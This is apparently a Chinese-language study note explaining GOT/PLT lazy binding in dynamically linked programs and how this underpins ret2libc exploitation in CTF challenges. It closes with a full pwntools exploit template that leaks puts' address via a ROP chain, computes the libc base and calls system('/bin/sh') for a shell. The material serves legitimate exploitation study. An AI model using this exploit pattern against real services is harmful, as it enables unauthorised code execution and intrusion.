GOT与PLT
从静态链接到ret2libc
GOT与PLT表是程序用于动态链接中延迟绑定功能的重要结构,在ret2libc类题型中非常重要,之前一直不是十分理解它的原理,故在此进行梳理总结。
链接
C程序在使用printf等库函数时需要在程序中使用
#include<stdio.h>
等语句将包含了这些库函数定义的头文件包含到程序中,在编译程序后将包含了这些函数实现的libc库链接到程序中,最后在运行程序时将程序从磁盘中加载到内存里运行。因此可以看出链接方式的不同在程序静态的存储与动态的运行两个方面都会产生差异。
静态链接在程序编译完成后直接将整个libc库链接到了程序中,因此每个使用了libc库函数的静态链接程序都会包含一整份libc,即使他只用了其中一两个函数,即使运行在同一环境下的其他程序都有一份libc库,所以这其中必然造成大量的存储开销。只在当前环境下存储一份libc库,等到程序实际运行时再将其链接到程序中很明显要更优于此法。
动态链接就是再程序运行时链接库的链接方式,但当我们去实际思考它的实现方法时就会意识到一个重要的问题:
如果等到运行时再连接库函数,那么静态文件中库函数的调用语句中库函数的地址该怎么写
很容易想到一个在计算机领域广泛应用的方法:添加一个中间层。一步做不到的事就分两步做。
GOT表就是这样的一个中间层。
GOT表与地址绑定
既然在没有运行时无法得到具体库函数的地址,但又需要在程序中填一个地址,那么一个很自然的想法就是使用一张表格预先为每一个库函数分配一个表项,用这张跳转表的各个表项的内容作为库函数的实际地址,如:
call GOT[printf]
而在静态程序中这张表初始化为空,几乎不占用内存空间,运行程序时再把各个库函数的实际地址填写到这张表中即可。
所以这里需要明确一个关键的认知:GOT表中存放的是库函数的实际地址,是数据,而不是调用这些库函数的语句
但它也带来了新的问题:
除了为libc函数分配地址之外,他还多了一步将所有库函数的地址绑定到GOT表中这一步,而这一步会使程序的启动变得相当缓慢,另一方面,可能绑定的库函数不一定都会用得上。为解决这个问题,PLT应运而生。
PLT表与延迟绑定
既然不能在程序启动时把所有的库函数都绑定到GOT表中,那么就考虑在程序初次使用该函数时再绑定,因此再添加一个中间步骤,程序在调用函数时使用的地址设为对应的PLT表项的地址。
PLT表为程序提供了一个调用库函数的跳板,PLT表中有多个表项,分别存储对应的多个库函数的相关语句,一般可以分为三个基本的语句,如:
printf@plt:
jmp QWORD PTR [GOT[printf]] ; 1.跳转到 GOT 中保存的地址
push offset_of_printf ; 2.压入函数标识符
jmp plt[0] ; 3.跳转到动态链接器
而GOT表中初始化存储库函数地址就是的就是对应的统一库函数plt表项中的2号语句,换言之,程序在初次执行一个库函数时,会直接跳转到它对应的plt表项的位置,其中是一组命令,第一条命令是跳转到GOT表中保存的地址对应的位置,第二条和第三条用于进行动态链接,第一次执行时GOT表中保存的地址对应的位置就是进行动态链接的语句的位置,完成动态链接后GOT表中对应表项存储的就是库函数的实际地址。当第二次执行该库函数时,程序仍然跳转到PLT表的表项,但此时该表项中的第一条语句就会直接带着程序跳转到实际的地址。
即:第一次执行plt表中语句时会进行动态绑定,之后执行plt表中语句会执行实际的函数
这里特意强调执行plt表中的语句,而不是库函数的实际语句,是因为我们在ROP题目中执行库函数的方法需要区分为三种,难度逐级上升:
- ret到程序中原有的call 库函数的语句(即ret2text)
- ret到已经实现过动态绑定的库函数的plt表项语句(库函数@plt)
- ret到库函数映射到程序地址空间中的实际地址
三种方法中实际地址最为万能,因此ret2libc的目的就在于获取到库函数的实际地址,而在获取到实际地址时我们若想要执行一些库函数,就只能使用一些已经在程序中显式调用过的函数,使用他们的plt表项中的语句来执行他们(plt表与GOT表的地址是在静态程序中可以直接得到的,而libc的实际地址每次运行都会变)。
因此ret2libc的关键操作就在于获取该进程中libc库函数system的实际地址,只要掌握了这个地址,无论源程序中是否有调用过system函数我们都可以执行system函数。
为获取这个函数地址我们首先要明确两点:
- libc中各库函数的相对偏移地址仅仅于libc的版本有关
- libc在实际程序中的基地址每次运行时都会变化
所以我们只需要利用前两种函数执行的方法泄露出任何一个库函数的实际地址(GOT表项的内容)我们就可以知道libc中任何一个函数的实际地址。实际上对于开启了地址随机化的程序也都是这个思路,因为程序静态文件代码的相对地址都是固定的,即使基地址进行了随机化,只要泄露出一个就可以知道其他所有的地址。
一段模板利用脚本及解析如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
binary = "pwn.bin"
elf = ELF(binary)
libc = ELF("libc.so.6")
puts_offset = libc.symbols["puts"]
bin_sh_offset = next(libc.search(b"/bin/sh"))
# 由ROPgadget获取
pop_rdi_ret_addr = p64(0x000000000040117e)
# p = remote(host,ip)
p = process("/mnt/d/Learning/fifith_grade/level-progress/pwn/ret2libc/pwn.bin")
payload = b"A"*64 + b"B"*8
payload += pop_rdi_ret_addr
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["vuln"]) #最后还要返回到vuln函数
p.sendlineafter("Go Go Go!!!", payload)
# 打印出puts函数的真实地址
# 重点关注一下这个格式
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - puts_offset
print(f"成功泄露libc基地址:{hex(libc_base)}")
payload2 = b"A"*64 + b"B"*8
payload2 += p64(0x000000000040117e + 1) #栈平衡
payload2 += pop_rdi_ret_addr
payload2 += p64(libc_base + bin_sh_offset)
payload2 += p64(libc_base + libc.symbols["system"])
p.sendline(payload2)
p.interactive()
